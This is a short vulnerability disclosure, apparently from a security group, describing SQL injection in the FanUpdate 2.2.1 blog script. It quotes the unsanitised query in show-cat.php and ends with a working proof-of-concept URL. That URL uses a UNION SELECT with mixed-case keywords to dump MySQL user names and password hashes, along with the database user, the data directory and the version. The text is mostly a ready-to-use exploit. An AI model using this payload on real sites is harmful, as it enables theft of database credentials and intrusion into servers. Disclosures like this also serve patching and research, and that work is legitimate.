Author : (In)Security Romania

Website : https://insecurity.ro

Vulnerable script : FanUpdate 2.2.1


- Explanation

See show-cat.php file

-----------------------------------------------------------------------------------------------
if (!isset($listingid)) { exit; }

require_once('blog-config.php');
require_once('functions.php');

$fu =& FanUpdate::instance();
$fu->addOptFromDb();

$query = "SELECT * FROM ".$fu->getOpt('catoptions_table')." WHERE cat_id=$listingid LIMIT 1";
-----------------------------------------------------------------------------------------------

listingid variable not checked,we can inject our maliciouse SQL code.

- PoC

http://website/script/show-cat.php?listingid=nuLL/*pwned*/uNiOn+aLL+seLeCt+0,0,coNcAt_ws(0x3a,user,0x3a,password),coNcAt_ws(0x3a,user(),0x3a,database(),0x3a,@@datadir,0x3a,version()),0,0+frOm+mysql.user--